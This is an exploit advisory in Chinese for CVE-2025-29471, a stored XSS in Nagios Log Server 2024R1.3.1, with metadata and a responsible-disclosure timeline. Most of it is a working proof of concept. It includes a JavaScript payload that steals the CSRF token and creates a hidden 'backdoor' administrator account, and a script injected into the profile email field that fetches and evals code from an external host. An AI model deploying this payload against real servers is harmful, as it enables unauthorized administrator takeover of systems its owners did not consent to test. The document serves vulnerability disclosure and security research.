CVE-2025-29471

Nagios Log Server 中的存储型 XSS 漏洞（权限提升至管理员）

▶️ PoC 演示

日期：2025-04-02

漏洞利用作者：Seth Kraft

厂商主页：https://www.nagios.com/

厂商更新日志：https://www.nagios.com/changelog/#log-server

软件链接：https://assets.nagios.com/downloads/nagios-log-server/versions.php

受影响版本：2024R1.3.1 及以下

测试环境：Nagios Log Server 2024R1.3.1（默认配置，Ubuntu 20.04）

CWE-ID：CWE-79

基础评分：8.3（高危）

向量字符串：CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

类型：存储型跨站脚本（XSS）、权限提升

---

授权

仅限授权测试与研究用途。 请勿在您不拥有或未获得明确测试许可的系统上测试或利用此漏洞。

---

描述：

Nagios Log Server 2024R1.3.1 中存在一个存储型 XSS 漏洞，允许低权限用户将恶意 JavaScript 注入其个人资料的“email”字段。

当管理员查看审计日志时，该载荷会被执行，从而导致通过未经授权创建管理员账户实现权限提升。

---

概念验证

1. 将 xss.js 载荷托管在您的外部服务器上，内容如下。GitHub 即可正常使用。

将 <target-ip> 更新为 Nagios Log Server 目标的 IP/主机名。

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. 以标准（非管理员）用户身份登录 Nagios Log Server。

3. 导航至个人资料更新端点：

   http://<target-ip>/nagioslogserver/profile/update

4. 将以下 payload 注入到 email 字段中。将 fetch 行更新为存储 xss.js 的 URL。

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. 等待管理员查看审计日志。JavaScript 将执行，创建一个新的管理员账户：

Username: backdoor

Password: Password123!

6. 以 backdoor 身份登录，在 Nagios Log Server 中获得完整的管理员访问权限。

---

披露时间线

• 2025-02-07： 研究人员向 Nagios 报告了该漏洞
• 2025-02-14： Nagios 确认收到安全报告
• 2025-03-03： 研究人员向 Nagios 请求更新进展
• 2025-03-10： 研究人员向 Nagios 请求更新进展
• 2025-03-17： Nagios 确认该漏洞已得到处理，并计划很快发布修复程序
• 2025-03-19： Nagios 发布 Nagios Log Server 2024R2
• 2025-03-27： 研究人员测试并验证 Nagios Log Server 2024R2 已修复该存储型 XSS 漏洞，并通知了 Nagios
• 2025-04-01： MITRE 为该存储型 XSS 漏洞预留了 CVE-2025-29471，但由于厂商未发布公开安全公告，详细信息仍未公开
• 2025-04-03： 研究人员将 PoC 发布到 ExploitDB，以满足 MITRE 分配 CVE ID 的证据要求。
• 2025-04-09： Nagios 发布 2024R2 修复的后续版本（2024R1.3.2），将存储型 XSS 漏洞修复向后移植到 2024R1 分支
• 2025-04-15： CVE-2025-29471 正式发布

---

免责声明

本工作是在我的雇佣关系之外进行的，反映了我个人在网络安全研究方面的努力。

---